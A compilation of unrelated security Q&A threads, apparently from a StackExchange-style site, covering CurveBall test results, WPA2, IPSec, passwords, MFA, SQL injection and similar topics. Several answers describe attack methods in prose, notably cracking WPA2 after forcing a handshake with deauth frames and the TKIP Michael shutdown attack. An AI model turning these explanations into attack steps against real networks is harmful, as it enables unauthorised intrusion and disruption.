Showing the https://curveballtest.com/ PoC for spoofing certificates for HTTPS working on the Windows 10 installation.

Showing the https://curveballtest.com/ PoC for spoofing signing for an executable working on the Windows 10 installation.

Now I have also created a fresh Windows 7 installation in a VM, below are the results for the https://curveballtest.com/ PoCs.

Windows 7

Information about the Windows 7 installation.

Showing the https://curveballtest.com/ PoC for spoofing certificates for HTTPS NOT working on the Windows 7 installation.

Showing the https://curveballtest.com/ PoC for spoofing signing for an executable NOT working on the Windows 7 installation.

From this testing, we can effectively conclude that Windows 7 is NOT vulnerable to CVE-2020-0601.


Plaintext DNS traffic in a WPA2 session? The question I have is, in WPA2 session between the AP and client are DNS requests sent plain text?

Trying to wrap my head around the latest glibc exploit.

Thank you

Ted

No, DNS requests are not sent in plaintext over the air between the access point and client device.  All traffic between the two is encrypted according to the WPA2 spec using the supplied key, including DNS requests.

Once the encrypted traffic containing the DNS request is received by the AP, it is decrypted and can be examined, and it is at that point that the DNS request exists in plaintext again.  It will then presumably be forwarded on to its destination via a wired connection, but not necessarily.

As far as how this relates to the recent glibc vulnerability, only a device that is connected to the network can possibly intercept or read DNS requests.  A device must either be connected via a wired connection, or it must be able to authenticate with a wireless AP.  WPA2, while not as easy to crack as WEP, is still crackable if the malicious device is listening when a valid handshake occurs.  A handshake can be forced by sending out what's known as a "deauth frame".  This forces devices in range to re-authenticate with the AP, which allows the attacker to capture the handshake.  Once captured, the attacker can use this data from the handshake to crack the password.  Depending on how much processing power they have and how secure your password is, this could take anywhere from a few minutes to a whole week.  A week is a lot of time and energy to invest in cracking some random person's wifi (an attacker will likely move on to the person who has "pony123" as their password), so you can inoculate yourself against this kind of attack by choosing a secure wifi password (avoid dictionary words, use upper- and lowercase letters, use numbers, and maximize the length).

Once a malicious device has access to your network, it can potentially interfere with DNS requests and exploit the vulnerability in the glibc library.

What can you do about this?  First, make sure all of your affected operating system instances are patched.  Then make sure you aren't using any apps that are also affected.  Any application that is statically linked to glibc will also need to be updated with the patched version.  Dynamically-linked applications will be effectively "patched" when the OS is patched.  You can also set your DNS server IP addresses manually (for example, use Google's 8.8.8.8 or Level3's 4.2.2.X range) which will cause your device to ignore DNS responses from spoofers (assuming they aren't also IP spoofing).  And, obviously, choose a secure wifi password.


IPSEC connection attempt to rogue server -- is my PSK compromised? I am setting up an IPSec connection between two sites using Ubiquiti EdgeOS-based equipment. Using a DDNS service (a static IP is unavailable from the ISP), they can be found at east.example.net and west.example.net.

The use of DDNS presents a problem. Let's say the west site is down. The ISP gives the address to a potentially rogue server before the west site is able to update the DDNS. When the east site attempts to restore the connection, it is attempting to negotiate with this rogue server.

Given the implementation of IPSec while using a PSK, is the secrecy of my PSK now compromised after this attempt?

The PSK is still secure even if your server attempted to connect to a rogue server.

The PSK isn't actually sent to the other party, it is used as an input to generate cryptographic material. Unless the rogue server already has the PSK, it will not be able to decrypt any messages from your server

For further reading:

https://crypto.stackexchange.com/questions/9926/what-is-the-shared-secret-used-for-in-ipsec-vpn

RFC2409 (IKEv1)

RFC4306 (IKEv2)


Pseudo-Hadamard Transform in SAFER K-64 The PHT seems so simple: b1 = 2*a1 + a2; b2 = a1 + a2. and yet, i am definitely missing something, since the paper for  SAFER K-64 shows:

INPUT VECTOR is 0 0 0 0 0 0 0 1
OUTPUT VECTOR is 1 1 1 1 1 1 1 1

where each value is 8 bits.

can someone explain how in the world does 2 * 0 + 0 become 1??? i believe this is the only thing keeping my safer implementation from working properly.

You have confused the PHT transformation with the PHT layers of the block cipher's round function:

The PHT transformation maps a two-byte input to a two-byte output.  It uses the formula you listed.  For instance, PHT(0,1) = (1,1).
The PHT layers of the round function map a 8-byte input to a 8-byte output.  Each round has a sequence of 3 layers.  Each layer consists of 4 parallel PHT transformations.

The input/output vector you list is for the PHT layers of the round function, not for the PHT transformation itself.  If you follow the computation diagram (see, e.g., Figure 7.12 and Section 7.7.1 in the appropriate chapter of the Handbook on Applied Cryptography, you will see how the PHT layers transform the input (0,0,0,0,0,0,0,1) to (1,1,1,1,1,1,1,1) by application of 12 PHT transformations in the appropriate sequence.

One last comment: I do not recommend using SAFER K-64.  It is an outdated cipher.  There are a number of shortcomings: there are some minor cryptanalytic weaknesses in it; it has not been studied very much; and worse, the key size and block size are too small.  For these reasons, I do not recommend that you use SAFER K-64 or that you expose it as an option to your users.  Instead, I recommend that you use AES.


How to verify a private key has not been compromised? I have a machine with a process that signs code for users running 24/7 (encrypting the key is not possible), which will be protected as well as possible. Is there a way to set things up such that I can detect if the private key has been compromised?

The most obvious sign will be a breach in general, but does this mean that I should automatically assume the private key has been compromised no matter what? I hope this doesn't sound like a stupid question. Revoked keys will cause a significant problem, especially if I can't determine the exact time the key was compromised. Tools like FIM can be used to detect modifications, and an auditing solution to track file access. But it seems to me once there's been a breach, no matter how tiny, all bets are off.

You need a Hardware Security Module (HSM), as there's no reliable way to detect if someone else have your key. It's the same issue of knowing if someone have your password: you can only know if someone else uses the password on a place you can monitor.

With an HSM, the key never leaves the secure environment, your signing code can run inside of it, and its security provisions can erase the keys in an event of tampering.


Password Security Length vs. Complexity I am working on a password policy and had some questions about password/passphrase strength:

For password strength, is a shorter more complex password stronger or weaker than a much longer, less complex password.

For instance:

Password 1 - :*{5fCC" - 8 characters, upper, lower, special, numbers (95 total). - 6.6 * 1015 permutations

Password 2 - OneDayIWentToWalkOutsideRaining - 31 characters, upper, lower (52 total) - 1.5 * 1053 permutations

From the above, password 2 has more possible permutations but contains dictionary words. Obviously more permutations makes raw brute forceing more difficult, but does a longer password protect a hashed password better than a shorter password, or is there other considerations that I need to understand?

There are indeed two properties to a password:

Complexity (number of possible characters in each position)
Length (number of positions)

The 'randomness' of a password is simple to calculate: complexity ^ length, where ^ is exponentiation. As you might know, changing the exponent (the length) makes the number much larger than changing the base (complexity).

For example, a random password using 6 characters, consisting of a-z, A-Z, and 0-9, has a complexity of 62 (26 + 26 + 10) and a length of 6, making 62^6= ~56 billion possible passwords. It is well-known that 6 characters is very insecure for most purposes, even when randomly generated.

For randomness, more is better, up until about 128 bits of entropy. A little more than that helps buffer against cryptographic weakenings of algorithms, but really, you don't want to memorize 128 bits of entropy anyway. Let's say we want to go for 80 bits of entropy, which is a good compromise for almost anything. (Unless you use a password manager, which you should. In that case, just generate 128-bits random passwords and you're good.)

To convert "number of possible values" to "bits of entropy", we need to use this formula: log(n)/log(2), where n is the number of possible values. So if you have 26 possible values (1 letter), that would be log(26)/log(2)= ~4.7 bits of entropy. That makes sense because you need 5 bits to store a letter: the number 26 is 11010 in binary.

A password with a complexity of 62 needs 14 characters to reach our target of 80 bits:
log(62^14)/log(2)= ~83.4 bits of entropy.
Example: c21FApmUsptwfd

If you add all possible ASCII symbols, you get a complexity of about 95. These passwords are annoying to type, even harder to remember than without symbols, and you still need 13 characters:
log(95^13)/log(2)= ~85.4 bits.
Example: ~2YPCi.%$6u,.

If you add words, your password becomes much longer, but is slightly easier to remember. The calculation is similar: number of possible elements to the power of the number of elements. If you have a dictionary of 7000 words and pick 6 random words, you have 7000^6 possible combinations. That is:
log(7000^6)/log(2)= ~76.6 bits of entropy.
Example: cardigans Malthusian's acorns glows unconfirmed uncluttered

You can combine them: if you have four random words and three random digits in between, you have 10^3 * 7000^4 possible values. Again, the entropy calculation:
log(10^3 * 7000^4)/log(2)= 61.0 bits of entropy.
Example: foreshadow3sectionals2palm6deliberating

It is simple to use the math and make a table of possible combinations/lengths/complexities and compare their strengths. You can mix properties until you find a combination that you like, and check that it gives you enough strength. But to answer your question generally: length beats complexity.

Finally, it should be noted that the example you used is not as strong as N random words: the 6-word sentence "OneDayIWentToWalk" makes sense. The 6-word sentence "OneIDayWentToWalk" does not make sense. Someone guessing which passphrase you used can eliminate all the possible nonsensical sentences and try only the grammatical ones. That reduces the number of guesses required by a lot. This question at the Linguistics StackExchange explores the randomness of grammatical phrases. (Credits to Tezra for sharing that link.)

Note: this answer uses parts from another answer I posted in a different question earlier today.


Why is having the username and password no longer enough to log in to an account anywhere? I have a friendly, fun bot on Twitch. I haven't logged into its account for ages, purely communicating with the Twitch API and their IRC service.

The other day, they announced a new annouying "Oauth" requirement to access their API. As a result of this, I was forced to log in to the account. Of course, I had noted down the username and password, but after providing them, it didn't let me log in. Instead, it said that it has sent some kind of one-time code to the e-mail address associated with the account, which I've long since lost access to and which was a throwaway one to begin with.

As a result, I'm forever locked out from the account. I can never log in to it ever again, even though I have the password. I can't stress this enough:

I have the password, but cannot log in to the account.

Why do they do this? The Internet has become a broken mess where no site, no form, ever lets me actually use it anymore without harassing me. I'm made to sit and click on images for half an hour and then they still show an error in the end. Weird codes are sent to long-abandoned throwaway e-mail addresses. Fake error messages all the time.

How could I have "guessed" the password on the first try?

I've stopped even trying to register accounts or do anything because it never works anymore.

Single factor authentication is a method whereby you are required a piece of secret information to be able to authenticate. Typically a username and a password. The main problem with this is that passwords are often short, reused across multiple services, based on dictionary words, etc. Consequently attackers are able to not only find passwords on previously breached services and attempt to reuse them against other services, but also make highly effective guessing attacks.

Multi-factor authentication is a method whereby you are required a piece of information that you know and at least one more that you have. For example a username, a password and a one-time token from an authenticator app. This makes it far more difficult to compromise a given account, since guessing or finding or stealing the correct password will no longer be sufficient to gain access to the account. This is a very beneficial security feature.

Since you lost access to the email address you used to register your account all you can do now is ask support very nicely if they can help you in any way. A round 'no' isn't entirely unexpected though since what you did may even go against their T&Cs.


How does the Michael shutdown exploitation (TKIP) work? How exactly does the Michael shutdown exploitation (TKIP) work?

I know that cancels all traffic continuously, but how?

According to MDK3's GitHub page, it uses a "TKIP QoS Exploit".

This is the note from the code:

  can shut down APs using TKIP encryption and QoS Extension with 1
  sniffed and 2 injected QoS Data Packets.

Looking up the specific exploit, you will run across this paper (one of many) that explains it:

  TKIP was introduced in 2003, and amongst other enhancements, included
  a new per packet hashing algorithm, the Message Integrity Check (MIC).
  MIC is based on a weak algorithm, designed to be accommodated on
  legacy WEP hardware. TKIP uses MIC for guaranteeing the integrity of
  an encrypted frame. If more than two MIC failures are observed in a 60
  second window, both the Access Point (AP) and client station shut down
  for 60 seconds.

When you have a question about how an open source tool does something, take a look at the code. Even if you are not a programmer, you will often find the details you need in the documentation, comments, or in this case, the CHANGELOG.


What could a malicious website do if you don't update Adobe Flash? If you click on "Activate Adobe Flash" when Firefox warns that "this plugin is vulnerable and should be updated", you can still use Adobe Flash.

What could a website do to you if the "plugin is vulnerable"?

There are several vulnerabilities known in previous versions of Flash which allow to execute arbitrary program code. That means an exploitive website can do anything a program can do which doesn't require administrator privileges, and there are ways to get around that prompt ("privilege escalation").

Among the common exploits which websites like to install through flash vulnerabilities are:

botnet trojans which turn your computer into a spam and DDOS relay.
browser hijackers which redirect your web searches and inject additional advertisement into websites you visit.
keyloggers which spy your usernames and passwords for any social media websites you use, take over your accounts and send spam to your contacts in your name.
banking trojans which monitor your online banking activities and try to redirect any payments you make.
ransomware which encrypts all your personal files and then demands payment to decrypt them.

So seriously, keep flash updated, or you are easy prey for criminals.

You might also consider setting flash applets to "click to play" in your browser settings (firefox|chrome). That way a website at least needs to trick you into believing it has some content you are interested in to infect you and can't just do it simply by you visiting it.


When to model a concept via object vs taxonomy vs galaxy in MISP? Taxonomies in MISP are a triple of (namespace, predicate, value) referred to as "machinetags".

Galaxies seem to be similar.  The MISP galaxy docs state that

  MISP galaxy is a simple method to express a large object called cluster that can be attached to MISP events or attributes.

Objects in MISP allow combinations of attributes, and the format definitions provide a common set of formats for modeling complex objects.  Objects can also model relationships to other objects.

Taxonomies, galaxies, and objects are all defined via a set of open JSON definitions.

What is not clear is when should I use a tag from a taxonomy, a galaxy cluster, or an object to model some attribute about an event.  The overlap between machine tags in a taxonomy and clusters in a galaxy is particularly unclear to me

Additional information

The JSON definitions of events for all these types can be found here:

Taxonomies: https://github.com/MISP/misp-taxonomies
Galaxy: https://github.com/MISP/misp-galaxy
Objects: https://github.com/MISP/misp-objects

According to the docs, "galaxy" is a reserved namespace within the MISP taxonomy.

The docs for all 3 invite contributions of additional elements

https://github.com/MISP/misp-taxonomies#how-to-contribute-your-taxonomy
https://github.com/MISP/misp-galaxy#how-to-contribute
https://github.com/MISP/misp-objects#how-to-contribute-misp-objects

The RFCs for the core format, taxonomy, galaxy, and objects can be found here:

https://tools.ietf.org/html/draft-dulaunoy-misp-core-format-03
https://tools.ietf.org/html/draft-dulaunoy-misp-taxonomy-format-04
https://tools.ietf.org/html/draft-dulaunoy-misp-galaxy-format-01
https://tools.ietf.org/html/draft-dulaunoy-misp-object-template-format-00

This topic (when to use taxonomy vs galaxy vs object) is not addressed in recent training materials:
https://www.circl.lu/assets/files/misp-training/luxembourg2018/6-taxonomies.pdf

Ideas

Objects vs attributes

Both of different from tags since they allow the user to set values.  So for the attribute Artifacts dropped: md5 the user can set the value of the md5 hash.  Tags are just binary flags.

Objects are different from attributes since they can model a bundle of tags that can describe a single concept, like a user or a bank account, and they can then model relationships between these tag bundles.

Perhaps the difference between taxonomy and galaxy is related to the complexity of the definitions?

Each machine tag in a taxonomy usually just has value and expanded defined: https://github.com/MISP/misp-taxonomies/blob/master/veris/machinetag.json

Each machine tag in a galaxy has value, description, uuid, and meta (which is a nested object containing more details:
https://github.com/MISP/misp-galaxy/blob/master/clusters/android.json

The sample galaxy from the core format RFC adds significantly more details than a tag: https://tools.ietf.org/html/draft-dulaunoy-misp-core-format-03#section-2.10.1

The following decision process can be used to select how to model an attribute of an event via MISP.

If you can model a property of your event using a MISP default attribute, use one of those.
If the property requires multiple attributes to describe it (or you need to model relationships between attributes), use an object to group those attributes together.
If the property is a binary value (the event either has the property or it doesn't), use a tag. Try to select an existing value from an existing taxonomy.
If the property is a binary value but needs more more metadata associated with it than a normal tag can support, use a galaxy cluster.

The distinction between 3 and 4 (taxonomy and galaxy) is supported by the responses to this question.


Web scraping is safe for security? I'm working on web scraping and data mining for Alexa top-ranked websites in the world.
I was doing that with node.js, Axios (for HTTP request), on a Windows machine (especially on WSL bash). After I was running the top 500 or 1000 websites, I started getting some malicious attacks, security problem notifications from my security software on Windows (Norton security)

I didn't think it would be a security concern to web scrape using a decent scraping/web request library, and it's the first time to do web scraping to such a big list of URLs, I'm surprised I got attacks through the program.

Is it safe to do web scraping to such a random big list of URLs, or the attack notifications are ignorable?
If not very safe, what can I do to my code or used library, language, or Windows setting?
If I use Linux or Ubuntu, will it be no problem?

I'm surprised I got attacks through the program.

The word "attack" is likely an exaggeration here. Probably you just hit a site which has a very low reputation and has served malware in the past, i.e. "Malicious Domain" in the message. Nothing attacked you've actively here.

Is it safe to do web scraping to such a random big list of URLs, or the attack notifications are ignorable

It depends a lot on what you are doing in detail. If you just make HTTP requests and responses and follow links with some simple program than it likely can be ignored. If you post-process data like converting images etc it might be more of a problem since this might trigger security issues in complex libraries. Of course this assumes no newly introduced security issues by programming errors in your code or used libraries, i.e. data from the internet should always be treated as untrusted and no assumptions about their content and format should be made without explicit verification.


Why do pop up ads automatically download .exe files? I was using a movie streaming website, (the ones with all the pop-up ads at each click). Usually I just close the ad and nothing happens but recently when the ad pops up a .exe file is downloaded and luckily Chrome stopped it as it was labelled dangerous. I'm just curious as to how a file is automatically downloaded without my permission and what I can do to prevent it?

"Usually I just close the ad"

Well, you think you closed the window. What you did was click on something, which permitted the download.
Most everyone just looks for the little "X" to close the window. The scammers know this and manipulate what looks like a window so that you actually click a download button.


Hide the fact of e-mail communication Bob has a mistress. Her name is Alice. Bob`s wife Eve knows Bob is unfaithful, but she does not know who the mistress is. Alice does not know Bob is married.

Bob needs to communicate with Alice over e-mail, but he needs to use his personal address (bob@bob.bob) and the e-mails must be sent to personal address of Alice (alice@alice.alice), otherwise Alice would be suspicious why she could not use her personal address.

Eve decides to monitor Bob`s e-mail communication and e-mail communication of all his possible girlfriends to find out, who the mistress is.

Is there any way for Bob to hide the fact he communicates with Alice? PGP encryption is not a solution: it hides only content of message, not a sender nor a receipient.

I thought there could be some trusted "friend-in-the-middle" Fred who communicates with both Bob and Alice. Bob could send e-mails to Fred with a real receipient in the first line of PGP encrypted message. Fred would decrypt the message, read the receipient, encrypt it again and send to Alice, so Eve would think Bob communicates with Fred and Fred communicates with Alice and there is no communication between Bob and Alice.

Is there any typical solution of this problem?

EDIT: Alice can cooperate in the way she encrypts her messages (because Bob's mistress would surely be security-conscious), but she needs to use her personal address and she needs to recieve e-mails from Bob`s address.

EDIT II: (for my girlfriend) I am not Bob, I have no mistress and my girlfriend is no monitoring my e-mail communication, well, I hope :-). I am looking for a technical solution how to hide communication between two given e-mail addresses. That is why a divorce is not a solution and changing one of these addresses is also not a solution, because it changes the original meaning of my question :-)...

Let's break this up:

Bob and Alice want to engage in two-way email communication.
Bob and Alice need to use their personal email addresses.
Eve has the ability to observe all communication in the system.
Eve must not learn about any special communication between Bob and Alice.
(Alice must not learn that Bob is married.)

The last statement (5) prevents you from using collaborative systems to hide communication, since Alice would instantly start wondering if Bob asked her to use such.

However, without Alice participating, Eve will learn about Bobs unfaithfulness as Alice replies to Bob the latest.

I would therefore propose to drop point 5. If Alice actively helps Bob, they can potentially keep Eve in the dark.

To that end, Bob sends encrypted messages to all his friends (different messages to different people). Since Eve cannot decrypt them, she cannot read the message to Alice. And since all friends are receiving mail, Eve cannot infer a special relationship between Bob and Alice.

The important part now is to have many of Bob's friends answer his messages (therefore he must have sent senseful messages to them). Otherwise Eve could infer the recipient of the main communication (Alice), as Alice would be the only one replying.

Of course, all replies sent to Bob should also be encrypted. (But Bob surely only has security-conscious friends and mistresses.)

...To conclude, Bob is better off staying faithful ;)


Pro's and Con's of current 2-step-verification processes? I am currently working on a project, and we are exploring different types of current industry MFA standards. The most known ones would most likely be HOTP & TOTP pins, which are used in the 'Google Authenticator' app or send by separate web services via SMS to a users phone.

What stops anyone from changing this standard? It seems the only reasons are that no internet connection is required on your phone to get the pin via app, and that it could be sent over SMS if your phone can't run apps (lol).

But there are also a few Cons. For one, the pin can be seen on most phones even when the screen is still locked. In addition, anyone looking at your phone can jump over this entire security layer. The first would be something you know, and the second would be something you have, which usually is a smartphone, but that extra layer is nullified if someone can just steal your phone for a second to look at it (like in the first season of House of Cards)!

So my question would be, are there any other pros and cons that keep this the current standard, or is it one of those situations where the process is just so simple and straight forward that the ease-of-use outweighs the need for improvement?

Also: What would the downside be of a process that uses an active internet connection on your phone to request a pin vs. having the pin generated based on a time value (TOTP)?

So one thing you're getting confused about is that you're combining to different security theaters. Let's instead look purely at the web, and then purely at the phone.
The Web Theater
With the web you're subject to people randomly trying to hack your account. This is protected by a password(something you know) and a username(something you have). In this case if anyone gets the username they can start attacking you and eventually get your account.
Now lets add a second password. YAY! Now they have twice the entropy. But it's still something you know(static). Instead lets change that password to something dynamic. Now EVERY time that dynamic one changes they have to start over because they have to retry every dynamic code and password combination in existence yet again.
That's just not worth it to try and break into. You would only DDOS a server, and if the server is setup correctly then you can't DDOS it.
The Phone End
Okay so now someone has your username, and phone, and you're locked up in a basement... and they've beaten you until you have given them the passwords... and you're just crying and hoping the police show up and save you...
The truth of the matter is that the given part(on your phone) is kept physically secure by you. If you have a worry about physical safety, you should probably already be in the steps of doing something about it(like not lending it out, not displaying notification content on your lock screen(an option on most smartphones), and if you do receive it over SMS and someone sees it, all they see is a string. They don't know what it's for.
If they do know what it is for however then you've already been pwned because they know your username. If someone else knows your username you're doing something else wrong, and this isn't the problem. Your own physical habits are.
What about active connection pins?
The problem is the phone is making the communication, and as such if someone is listening to the phone and performs a MITM on just the phone, they can get access to the account. Generation without communication is much safer because someone can't listen to it. They would have had to have been listening to the initial setup(again separated without communication) to have gotten the pin to generate the time sensitive code. Again that comes into the tied up in a basement scenario. There I'd be much more worried about my physical safety than my account safety.
What about generated codes?
What if I look at a phone and see '8675309 sent 98jdff712hfg' on the screen? What does it mean? I don't know what service that number(usually from a pool of numbers that rotates randomly or is used by many services) is associated with. The only way this would have made sense is if I was sitting over your shoulder and watching the ENTIRE login process. Again that's something much more terrifying and you'd probably be looking out for it as you enter the data.


How can I convince my boss that storing third party passwords in plaintext is a bad idea? Keeping things vague - I work at a company that handles compliance issues for our clients. Very often, this means we need to log onto their various accounts for various entities. We store their username and password, both to make it easier for them to remember and have access to, and for us to be able to log onto their account.

Ignoring the complete and total security nightmare of sharing logins for a minute, the username and passwords appear to be stored in plaintext. Hurray.

How can I convince my boss, and the higher ups, that A) This is a terrible idea, B) a better method/way of storing these

Why is it a terrible idea?

By recording others' login credentials, the company is taking upon itself a liability. Since the company is now responsible for malice that could occur using those credentials, the company should take steps to minimize the risk. In addition, companies that interact with yours have to take upon the liability of trusting you, something that can harm business if an incident goes public (as mentioned by symcbean)

Storing passwords in plaintext (as you know) provides no protection against that risk.

What is a better solution?

As you mentioned in a comment, what you need is something like a password manager. In fact, what you want is a password manager.

Since there is a lot of room for error when it comes to cryptography, I suggest using an established password manager. You can find countless comparisons online, but in the end your choices include ones based around a GUI (like 1password, LastPass, keepass, etc) or one based an cli for automated access (like pass or via the LastPass cli)


Proper way to protect a logs directory When hardening a WAS (in this case I am using Tomcat), OWASP recommends to apply this Linux permissions to the logs directory:

  Make sure tomcat user has read/write access to /tmp and write (300 -
  yes, only write/execute) access to CATALINA_HOME/logs

Can someone explain why is the harm in allowing read permission (since using it simplifies management via remote tools without having to use sudo)

EDIT

After the answers, I think I understand better the issue and how to combine security with convenience. I suppose a solution could be to use

use permissions 350
change owner to tomcat:admin
run the aplication with user tomcat, so if it is exploited, the user will not have read access to the logs, but the users in the admin group will, so they can check the logs with their tools remotely.

In the case of web server logs, allowing read could potentially allow remote users to read sensitive data from the system, if any compromise was found in the running web applications. On the other hand, by only allowing write access, the web server logs could potentially contain fraudulent entries, but any sensitive data in the files should remain secure.

Depending on the type of vulnerability, it might be possible for an attack to escalate their privileges, but that's an extra step to possibly get useful information, which could be enough to put them off. A lot of attackers are mostly interested in low-hanging fruit, so keeping the permissions to the minimum level required for a service to run is a good habit.


What applicability does the Halting Problem have to infosec? I was reading an infosec blog recently, and I was caught off guard by the following statement:

  Sure you can run up to date software and firewalls and that network appliance in your data center that apparently solves the halting problem... or you could begin to think differently and push undecidability onto your attacker at the moment he tries to exploit your application.

I was aware of the halting problem but never really paid much attention to it, so I did some follow up reading. I understand the basic implications of the principle, but I wonder if using the halting problem isn't a convenient excuse to justify the dismal state of cybersecurity? What applicability does the halting problem actually have to cybersecurity applications, such as malware detection or vulnerability detection?

The way I see it, the halting problem states that it's not possible to write a general purpose program which can make 100% accurate determinations about the behavior of every single possible program. I'm thinking of a program that analyzes software to determine if it's malicious, or a program that analyzes software to determine if it contains buffer overflow or SQLi vulnerabilities.

The proof relies on a special, contrived program to show this paradox. This doesn't mean that no programs can be analyzed by another program with 100% accuracy, nor even that a large majority of real-world programs can't be reliably analyzed by another program with 100% accuracy.

My final question is can an attacker use the halting problem as a form of an attack? E.g. whatever analysis program you have written to detect the attacker's presence or activity, can the attack write a program with the same provable behavior of making your detection algorithm undecidable?

Any pointers to real-world research or established experts on this subject is much appreciated.

Established expert... that would be me (although not under this name -- I use a pseudonym because I am tremendously humble). Allow me to answer, then.

The "halting problem" is indeed an illustration of the impossibility to decide (for a computer) whether a given program will halt or not. Of course, a lot of programs are decidable, but not all of them. People tend to think that if we could accurately "predict the behaviour" of computer programs, then malware would not be possible. This is oversimplistic, for the following reasons:

The "halting problem" is about deciding whether a computer program will stop, for a given input which is known a priori. This model works only about programs which are pure calculation, and do no I/O. By definition, this does not apply to any application which is connected to the Internet or can be controlled by a human. As an illustration, consider an application which runs a video. This one will never stop as long as the human user clicks on the rewind button. But it may stop (and it should be easy to prove) if the user does not click on any button.
Decidability is about whether a given function can be evaluated at all, but not whether it can be evaluated efficiently. If you want an antivirus to scan for malware, you want the answer within 2 or 3 seconds -- not in ten years. This notion of decidability does not capture all the things in which we are interested.
We can have requirements. Consider a Java application. It is written in bytecode which is amenable to (efficient) automatic proofs. Namely, the JVM will prove, in a very formal way, that the code complies to the type rules of Java (that it never calls a method on a class which does not feature that method). It is not possible to make such a proof generically, on every possible sequence of bytecode instructions; but valid Java code is bytecode which can be proven in such a way. This means that it is possible in practice to enforce requirements of "proofability" for existing code. In a "halting problem" point of view, this would be like stating that programs for which the halting behaviour cannot be determined absolutely (and quickly) will be unceremoniously prevented from execution.
We are not interested in whether a program will halt, but whether a program will do evil things. I am all for a computer to alter my bank account... as long as that is what I want. The difference between me, the human/ursine user, managing my money through the bank's Web site, and a malware, siphoning my precious gold through the bank's Web site, is not something which exists in the world of computers. There is no notion of Evil in computers. If I want security, I must first define with all the needed precision what exactly I want to allow computers to do, and what I don't want. Before asking myself whether a computer program will be able to automatically decide if my core security properties will be respected by a given piece of code, I must first define these properties, and that initial part of the work is far from being done. Making computers guess what is Good is an old problem which seems hard.

For these reasons, I claim that invoking the "halting problem" is a poor excuse. It does highlight the fact that we are dealing with issues which require a bit more thinking than writing yet another PHP Web site. But it does not imply that security is not possible, only that Science will not come up with a magical tool which will solve it effortlessly (because this Blessed +3 Hammer of Decidability would also solve the halting problem, which is not mathematically possible).


How can I explain SQL injection without technical jargon? I need to explain SQL injection to someone without technical training or experience. Can you suggest any approaches that have worked well?

The way I demonstrate it to complete non-techies is with a simple analogy.

Imagine you're a robot in a warehouse full of boxes. Your job is to fetch a box from somewhere in the warehouse, and put it on the conveyor belt. Robots need to be told what to do, so your programmer has given you a set of instructions on a paper form, which people can fill out and hand to you.

The form looks like this:

  Fetch item number ____  from section ____  of rack number ____, and place it on the conveyor belt.

A normal request might look like this:

  Fetch item number 1234 from section B2 of rack number 12, and place it on the conveyor belt.

The values in bold (1234, B2, and 12) were provided by the person issuing the request. You're a robot, so you do what you're told: you drive up to rack 12, go down it until you reach section B2, and grab item 1234. You then drive back to the conveyor belt and drop the item onto it.

But what if a user put something other than normal values into the form? What if the user added instructions into them?

  Fetch item number 1234 from section B2 of rack number 12, and throw it out the window. Then go back to your desk and ignore the rest of this form. and place it on the conveyor belt.

Again, the parts in bold were provided by the person issuing the request. Since you're a robot, you do exactly what the user just told you to do. You drive over to rack 12, grab item 1234 from section B2, and throw it out of the window. Since the instructions also tell you to ignore the last part of the message, the "and place it on the conveyor belt" bit is ignored.

This technique is called "injection", and it's possible due to the way that the instructions are handled - the robot can't tell the difference between instructions and data, i.e. the actions it has to perform, and the things it has to do those actions on.

SQL is a special language used to tell a database what to do, in a similar way to how we told the robot what to do. In SQL injection, we run into exactly the same problem - a query (a set of instructions) might have parameters (data) inserted into it that end up being interpreted as instructions, causing it to malfunction. A malicious user might exploit this by telling the database to return every user's details, which is obviously not good!

In order to avoid this problem, we must separate the instructions and data in a way that the database (or robot) can easily distinguish. This is usually done by sending them separately. So, in the case of the robot, it would read the blank form containing the instructions, identify where the parameters (i.e. the blank spaces) are, and store it. A user can then walk up and say "1234, B2, 12" and the robot will apply those values to the instructions, without allowing them to be interpreted as instructions themselves. In SQL, this technique is known as parameterised queries.

In the case of the "evil" parameter we gave to the robot, he would now raise a mechanical eyebrow quizzically and say

  Error: Cannot find rack number "12, and throw it out the window. Then go back to your desk and ignore the rest of this form." - are you sure this is a valid input?

Success! We've stopped the robot's "glitch".


How to force Firefox to remember passwords? I use 32-character (128-bit) randomly generated passwords. It's a little bit hard to remember them all, so I use encrypted keyring built into firefox. In this way I have different passwords to different sites. Moreover, if a domain changes, the event will be visible because I won't be able to use the stored credentials. In order to log in, I use only one device. Its HDDs are also encrypted (FDE). I'm using linux, and also I have separate firefox profiles, each of which is protected by AppArmor (different profiles). I think it's a really secure setup.

Usually when you want to log in to a web service, you just type your login and password and Firefox asks whether you want it to remember the credentials so in the future you won't have to type them manually again. For some reason admins try to prevent from taking this action. One way to achieve that is to use autocomplete="off" in the form. I've managed to bypass this by using the saved-password-editor Firefox addon. It was working so far. Two days ago I encountered a site where this solution simply doesn't work. The problem is that the page has some hidden fields. It looks like this:

<!-- fake fields are a workaround for chrome autofill getting the wrong fields -->
<input style="display:none" type="text" name="fakeusernameremembered"/>
<input style="display:none" type="password" name="fakepasswordremembered" value="fakevaluetopreventpasswordremeber" />
<input type="password" id="password" autocomplete="off" name="password" tabindex="2" placeholder="Hasło"/>
<input style="display:none" type="password" name="anotherfakepasswordremembered" />

The result is that I can't use the stored login/pass. Firefox simply doesn't fill the form. So the question is: how to force Firefox to fill this kind of forms?

Have you tried editing the field name using Saved Password Editor's "Edit" feature?  Save the logon.  Open it in Saved Password Editor.  Select the logon, and click edit.  You will see a box near the bottom labeled "Password field name".  Paste in the name of the real password field.  Firefox should be able to match it up after that.

Of course, this won't work if the site is dynamically generating a random name for the password field for each new logon attempt.

In that case, you could remove the unwanted input fields with a custom style sheet.  First, add a tool like "Custom Style Script (Inject desired CSS or JS)" add-on to Firefox. Then, write a little bit of CSS to excise input fields where the attributes include type="password" and style="display:none" See this question for a good example of the type of CSS you would need to create.

Once the unwanted fields are out of the way, the password manager should be able to find the field with type password.  If you're having trouble, dlete and recreate the password entry once the CSS changes are in place, and make sure the type of password field is "annotated" instead of "web form".